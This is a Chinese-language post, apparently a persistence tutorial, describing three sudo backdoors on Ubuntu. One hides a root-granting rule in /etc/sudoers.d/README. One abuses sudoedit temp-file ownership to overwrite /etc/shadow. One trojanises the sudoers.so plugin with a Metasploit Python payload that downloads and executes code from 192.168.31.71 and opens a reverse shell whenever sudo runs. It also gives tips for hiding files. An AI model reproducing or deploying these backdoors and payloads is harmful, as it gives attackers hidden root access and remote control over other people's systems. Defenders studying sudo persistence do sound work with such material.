sudo 经常被用来将普通用户权限提升至 root 权限,代替 root 执行部分程序来管理 Linux 系统,这样避免 root 密码被泄漏
这篇文章介绍了三种利用其留后门的方法,其中也涉及一个sudo有趣的特性,在极端条件下可能是系统的薄弱点;同时涉及一个没什么人关注的小知识点
sudo 配置后门 sudoedit 文件所有者后门 sudo plugin 后门 这篇文章以 Ubuntu Server 22.10 为例
通常的应用场景中,配置 sudo 主要是用来赋予某个用户或者用户组能够以 root(或其他用户) 的身份(以及权限)执行部分(或全部) 程序,该需求相应的配置文件为
/etc/sudoers
以及/etc/sudoers.d/
目录下的文件
随着操作系统版本迭代,很多应用程序都将配置文件分为两部分,主配置文件以及主配置文件加载的配置文件,这里所谓的主配置文件加载的配置文件通常以文件夹的形式加载,也就是说文件夹中所有的文件都会被认为是配置文件。意图让运维人员自定义配置的时候,不再修改主配置文件,这样即使运维人员配置出现问题,也能保证基本的程序功能不会受到影响。尤其是这种涉及登录、权限变化的程序
/etc/sudoers
文件需要 root 权限才能访问,建议使用 visudo
来编辑此文件以及 /etc/sudoers.d/
目录中的文件
我们直接看重点部分——角色及权限配置
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "@include" directives:@includedir /etc/sudoers.d
概括来说,配置权限部分分为 5 个字段
USERS | HOST | USER | GROUP | NOPASSWD | COMMANDS |
---|---|---|---|---|---|
root | ALL | (ALL | ALL) | 省略(默认需要密码) | ALL |
%admin | ALL | (ALL) | 省略(默认需要密码) | ALL | |
%sudo | ALL | (ALL | ALL) | 省略(默认需要密码) | ALL |
USERS
表示配置作用的目标用户,也就是说这个配置是给哪个用户的,这个字段可以是用户(例如 root),也可以是用户组(例如 %admin),用户组需要在前面加上 %
,也可以是别名,别名说到底就是一堆用户的代表,需要在上文配置
HOST
主机名,表示可以使用 sudo 命令的主机,ALL 表示任意主机
USER
目标用户使用 sudo 时可以临时获取的身份以及权限,ALL 表示任意身份及权限
GROUP
目标用户使用 sudo 时可以临时获取的用户组身份以及权限,ALL 表示任意用户组
NOPASSWD
可以设置执行 sudo 不需要密码,省略不写表示需要密码
COMMANDS
目标用户 sudo 后可以使用的命令, ALL 表示所有命令
所以默认的配置的含义为
现在我们了解了配置语法,现在我们看最后一行
@includedir /etc/sudoers.d
这表示 /etc/sudoers.d
中的文件也在该配置文件中引用
此时我们看一下 /etc/sudoers.d
文件夹
Ubuntu Server 22.10 中,默认该文件夹下只有一个 README
文件
#
# The default /etc/sudoers file created on installation of the
# sudo package now includes the directive:
#
# @includedir /etc/sudoers.d
#
# This will cause sudo to read and parse any files in the /etc/sudoers.d
# directory that do not end in '~' or contain a '.' character.
#
# Note that there must be at least one file in the sudoers.d directory (this
# one will do).
#
# Note also, that because sudoers contents can vary widely, no attempt is
# made to add this directive to existing sudoers files on upgrade. Feel free
# to add the above directive to the end of your /etc/sudoers file to enable
# this functionality for existing installations if you wish! Sudo
# versions older than the one in Debian 11 (bullseye) require the
# directive will only support the old syntax #includedir, and the current
# sudo will happily accept both @includedir and #includedir
#
# Finally, please note that using the visudo command is the recommended way
# to update sudoers content, since it protects against many failure modes.
# See the man page for visudo and sudoers for more information.
#
这个文件只是一个说明文件,大概介绍了 sudo 配置文件相关情况,还建议大家使用 visudo
对文件进行编辑
此时我们就可以复用计划任务后门那个章节的技巧了,大家感兴趣可以去阅读一下,在往期文章中,这次我们直接修改这个 README 文件,在该文件中进行配置,让一个普通用户可以通过 sudo 获取 root 的权限
PS: 很多运维人员对于某个程序指定了一个配置文件夹,这个配置文件夹中是不是所有文件都会自动加载并不清楚,所以直接将后门配置写在 README 里简直绝了
sudo useradd test1
echo "test1:123456" | sudo chpasswd test1
可以看到新建的 test1 用户是一个普通账号,只在 test1 这个用户组,无法执行 sudo
sudo vim /etc/sudoers.d/README
这样就可以通过控制一个普通账号随时获取 root 权限
如果你是一个受限,非交互的 shell ,可以通过标准输入的方式执行 sudo
echo '123456' | sudo -S cat /etc/passwd
可以考虑搞新建 空白文件名 文件 + alias 劫持的方法来隐藏新建文件
有时候也没必要新建用户,可以尝试开启那些系统用户试试,或许有惊喜也说不定,但是这种操作一定要提前试一试
这个后门更偏向于一个概念性的后门,以趣味性为主吧
前段时间复现
CVE-2023-22809
的时候关注到sudoedit
(sudo -e) 这个程序,这个程序用来让可以sudo的用户通过 sudoedit 以超级权限 (root) 编辑文件经过测试,我发现sudoedit 编辑文件的逻辑在一些场景下可能有一些问题,会造成权限提升、代码执行等
可以看到,目前编辑的文件并不是 /etc/shadow
,而是 /var/tmp/shadow.XXWN6vSu
, sudoedit 的思路是先拷贝一份 /etc/shadow
,之后编辑完再覆盖回去
假设攻击者也拥有 join
这个用户的权限,我们看一下这个拷贝后的文件
ls -al /var/tmp/shadow.XXWN6vSu
可以看到,该文件的所属者和所属组都是 join
,也就是说攻击者可以直接修改这个文件,尝试添加一个 flag
我们选择 E
其实此时,我们就已经读取到未 sudo 的 join 读取不到的文件内容,现在我们写入一个 flag
^X Exit
可以看出,这个过程中没有任何提示,在 sudoedit 看来,对文件也应该没有任何修改,但是 sudoedit 还是将临时文件覆盖了原本的 /etc/shadow
这样可能造成的危害大小主要取决于运维人员具体打开的文件,如果是计划任务文件则攻击者可能新建计划任务、如果是一些开机加载、环境变量等文件,攻击者也可以进行添加内容
大家日常可能使用 sudo 比较多,但实际上去完整读一读它的 man 手册的估计不多,其实 sudo 在 1.8 版本之后开始支持插件了,还支持了 Python 版本的 API
说到这里就不得不谈一下 sudo 的另一个配置文件,应该说更偏向其本身行为的一个配置文件
/etc/sudo.conf
,在这个配置文件中我们就可以设置 sudo 的插件(.so 共享库文件)
#
# Default /etc/sudo.conf file
#
# Sudo plugins:
# Plugin plugin_name plugin_path plugin_options ...
#
# The plugin_path is relative to /usr/libexec/sudo unless
# fully qualified.
# The plugin_name corresponds to a global symbol in the plugin
# that contains the plugin interface structure.
# The plugin_options are optional.
#
# The sudoers plugin is used by default if no Plugin lines are present.
#Plugin sudoers_policy sudoers.so
#Plugin sudoers_io sudoers.so
#Plugin sudoers_audit sudoers.so
内容比较多,我们只选取我们要使用的部分,默认情况下没有配置插件,但是根据注释可以看出,至少有三种插件
注释中它们的值都指向 sudoers.so
,而且注释中也说了,如果一个插件都没有配置的话,默认使用 sudoers.so
,插件所在目录为 /usr/libexec/sudo/
各个共享库文件都有自己的作用,可以通读整个配置文件来了解,这里我们只讨论 sudoers.so
文件
现在我们就来制作一个恶意的插件作为我们的后门
msfconsole -q
> use exploit/multi/script/web_delivery
> set payload python/meterpreter/reverse_tcp
> set lhost 192.168.31.71
> set lport 4444
> exploit
payload 为
python -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.31.71:8080/USEAxYjj6HvmEk', context=ssl._create_unverified_context());exec(r.read());"
这里我们得改造一下,因为新版本的 Ubuntu 已经不再自带 python2
/usr/bin/python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.31.71:8080/USEAxYjj6HvmEk', context=ssl._create_unverified_context());exec(r.read());"
本地找一台与目标环境相同的测试主机进行编译,我这里直接使用目标主机,编辑好后取出 sudoers.so
,之后还原为刚安装完的状态
sudo -V
sudo
程序的源代码并解压https://www.sudo.ws/getting/source/
根据分析,我们在 sudoers_init
函数中插入 payload
注意转义双引号以及代码最后的分号
sudo apt update
sudo apt install gcc
sudo apt install make
sudo apt install libssl-dev
sudo ./configure
sudo make
sudo make install
在解压缩后的目录中执行
生成的 sudoers.so 位于 plugins/sudoers/.libs/sudoers.so
测试无误后将其保存,将主机恢复至刚安装,再将文件拷贝至 /usr/libexec/sudo/
覆盖原有的 sudoers.so
(当然,这不是必须的,你可以以任何名称放在任何目录,之后在 sudo.conf 中配置指定就好)
正常使用 sudo ,查看效果
sudo cat /etc/shadow
成功获取到 shell